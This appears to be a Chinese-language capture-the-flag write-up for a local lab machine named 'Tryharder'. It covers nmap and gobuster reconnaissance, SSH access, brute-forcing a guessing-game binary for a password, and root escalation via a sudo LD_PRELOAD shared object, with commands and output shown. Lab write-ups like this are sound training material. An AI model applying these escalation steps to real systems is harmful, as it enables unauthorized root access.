⚡ root@kali ~/Desktop/test/tryharder nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 09:23 EDT Nmap scan report for 192.168.56.2 Host is up (0.00033s latency). MAC Address: 08:00:27:88:A0:3E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.41 Host is up (0.00054s latency). MAC Address: 08:00:27:D9:92:F7 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.4 Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 15.09 seconds
1 2 3 4 5 6 7 8 9 10 11
⚡ root@kali ~/Desktop/test/tryharder nmap -sT -min-rate 10000 -p- 192.168.56.41 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 09:34 EDT Nmap scan report for 192.168.56.41 Host is up (0.00062s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:D9:92:F7 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
⚡ root@kali ~/Desktop/test/tryharder nmap -sT -A -T4 -O -p 22,80 192.168.56.41 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 09:35 EDT Nmap scan report for 192.168.56.41 Host is up (0.00059s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA) | 256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA) |_ 256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-server-header: Apache/2.4.59 (Debian) |_http-title: \xE8\xA5\xBF\xE6\xBA\xAA\xE6\xB9\x96\xE7\xA7\x91\xE6\x8A\x80 - \xE4\xBC\x81\xE4\xB8\x9A\xE9\x97\xA8\xE6\x88\xB7\xE7\xBD\x91\xE7\xAB\x99 MAC Address: 08:00:27:D9:92:F7 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.59 ms 192.168.56.41
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
⚡ root@kali ~/Desktop/test/tryharder nmap -script=vuln 22,80 192.168.56.41 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 09:35 EDT Failed to resolve "22,80". Nmap scan report for 192.168.56.41 Host is up (0.00018s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 08:00:27:D9:92:F7 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 37.97 seconds
Web 渗透
信息收集
访问 HTTP，一个静态页面，什么内容都没有
目录扫描无结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
⚡ root@kali ~/Desktop/test/tryharder gobuster dir -u http://192.168.56.41 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404,403,502,429 --no-error =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.56.41 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403,502,429 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== Progress: 220560 / 220561 (100.00%) =============================================================== Finished ===============================================================
pentester:x:1000:1000:Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...:/home/pentester:/bin/bash xiix:x:1001:1001:A Tale of Two Cities:/home/xiix:/bin/bash
两个用户的描述为双城记的内容
在pentester家目录存在.note ，Caesar为凯撒，粉碎凯撒，可能指的是凯撒密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
www-data@Tryharder:/home/pentester$ ls -al ls -al total 28 drwxr-xr-x 2 pentester pentester 4096 Mar 25 06:46 . drwxr-xr-x 4 root root 4096 Mar 23 10:46 .. lrwxrwxrwx 1 root root 9 Mar 22 08:03 .bash_history -> /dev/null -rw-r--r-- 1 pentester pentester 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 pentester pentester 3526 Apr 18 2019 .bashrc -rw-r--r-- 1 root root 58 Mar 25 02:13 .note -rw-r--r-- 1 pentester pentester 807 Apr 18 2019 .profile -rw-r--r-- 1 pentester pentester 47 Mar 23 07:08 user.txt www-data@Tryharder:/home/pentester$ cat .note cat .note Two cities clashed in tale: Smash Caesar, buddy, to pass.
www-data@Tryharder:/tmp$ ls /var/backups/.secret/.verysecret/.noooooo ls /var/backups/.secret/.verysecret/.noooooo note2.txt
www-data@Tryharder:/tmp$ cat /var/backups/.secret/.verysecret/.noooooo/note2.txt The Compass and the Campfire
David knelt beside his ten-year-old son, Jake, their shared backpack spilling onto the forest floor. "Lost?" Jake whispered, staring at the identical trees clawing at the twilight. David’s calloused fingers brushed the cracked compass in his palm—a relic from his father, its needle trembling like a moth. "Not lost," he lied. "Just… rerouting." Jake’s eyes narrowed, too sharp for comfort. "Your compass is broken." A chuckle escaped David, brittle as dry leaves. "Compasses don’t break, bud. They… forget." He flipped it open, the glass fogged with age. "See? North isn’t where it should be. It’s where it chooses to be tonight." The boy frowned, then yelped as a pinecone thudded beside him. A red squirrel chattered overhead, its tail flicking like a metronome. Jake’s fear dissolved into giggles. David watched, throat tight. He’s still young enough to laugh at squirrels. "Dad?" Jake unzipped his jacket, revealing three granola bars and a glowstick. "We’ve got supplies. Let’s build a fort." They wove branches into a crooked shelter, Jake’s hands steady where David’s shook. When the first stars pierced the canopy, David confessed: "Grandpa gave me this compass the day I got lost in the mall. Told me it’d always point home." Jake snapped the glowstick, bathing their fort in alien green. "Does it work now?" The needle quivered, settling northwest. Toward the distant highway hum, not their cabin’s woodsmoke. David closed the brass lid. "Nope. But you do." He nodded at Jake’s pocket—where a crumpled trail map peeked out, dotted with the boy’s doodled dinosaurs. Dawn found them at the cabin’s porch, guided by Jake’s roars laughter and the squirrels he’d named "Sir Nibbles". The compass stayed in David’s pocket, its secret safe: true north had shifted years ago, anyway—from steel poles to a gap-toothed grin eating pancakes at 6 AM.
⚡ root@kali ~/Desktop/test/tryharder ssh pentester@192.168.56.41 The authenticity of host '192.168.56.41 (192.168.56.41)' can't be established. ED25519 key fingerprint is SHA256:rXcjV9xeZG+J6KZLTr1t2Xi2ErBvMauXjxH4EBvhV0c. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:39: [hashed name] ~/.ssh/known_hosts:41: [hashed name] ~/.ssh/known_hosts:42: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.41' (ED25519) to the list of known hosts. pentester@Tryharder:~$
提权 - xiix
查看sudo权限，貌似可以进行提权
1 2 3 4 5 6 7
pentester@Tryharder:~$ sudo -l Matching Defaults entries for pentester on tryharder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pentester may run the following commands on tryharder: (ALL : ALL) NOPASSWD: /usr/bin/find
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. xiix@Tryharder:~$
xiix@Tryharder:~$ ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单： 我心里有个数字（0-99），你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了，我就把属于你的东西给你；猜错了？嘿嘿，后果自负！ Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示： 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测（0-99） / Your guess (0-99): ^C
xiix@Tryharder:~$ ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单： 我心里有个数字（0-99），你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了，我就把属于你的东西给你；猜错了？嘿嘿，后果自负！ Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示： 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测（0-99） / Your guess (0-99): 1 哈哈，猜错了！ / Wrong guess! 秘密数字是 34。 / Secret number: 34 正在格式化你的硬盘...（开玩笑的啦！） / Formatting disk... (Kidding!)
xiix@Tryharder:~$ ./guess_game ===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单： 我心里有个数字（0-99），你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了，我就把属于你的东西给你；猜错了？嘿嘿，后果自负！ Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示： 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 输入你的猜测（0-99） / Your guess (0-99): 2 哈哈，猜错了！ / Wrong guess! 秘密数字是 20。 / Secret number: 20 正在格式化你的硬盘...（开玩笑的啦！） / Formatting disk... (Kidding!)
貌似不会做什么，并且每次数字不一样，直接暴力破解
1
for i in $(seq 10000);doecho 1|./guess_game ;done
爆破出密码superxiix
1 2 3 4 5 6 7 8 9
===== 终极运气挑战 / Ultimate Luck Challenge ==== 规则很简单： 我心里有个数字（0-99），你有一次机会猜。 I have a number (0-99), you get one guess. 猜对了，我就把属于你的东西给你；猜错了？嘿嘿，后果自负！ Guess right, I’ll give your reward; wrong? Hehe, face the consequences! 提示： 聪明人也许能找到捷径。 Hint: Smart ones might find a shortcut. 天哪！你居然猜对了！运气逆天啊！ / You got it! Amazing luck! Pass: superxiix
直接 sudo ，root权限执行whoami…
1 2 3 4 5 6 7 8
xiix@Tryharder:~$ sudo -l [sudo] password for xiix: Matching Defaults entries for xiix on tryharder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD
User xiix may run the following commands on tryharder: (ALL : ALL) /bin/whoami
cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Finally, escalate privileges running
1
sudoLD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
这样就能获得root权限了
1 2 3 4 5 6 7 8 9 10 11 12
xiix@Tryharder:~$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles pe.c: In function ‘_init’: pe.c:7:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setgid(0); ^~~~~~ setenv pe.c:8:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration] setuid(0); ^~~~~~ setenv xiix@Tryharder:~$ sudo LD_PRELOAD=./pe.so /bin/whoami root@Tryharder:/home/xiix#
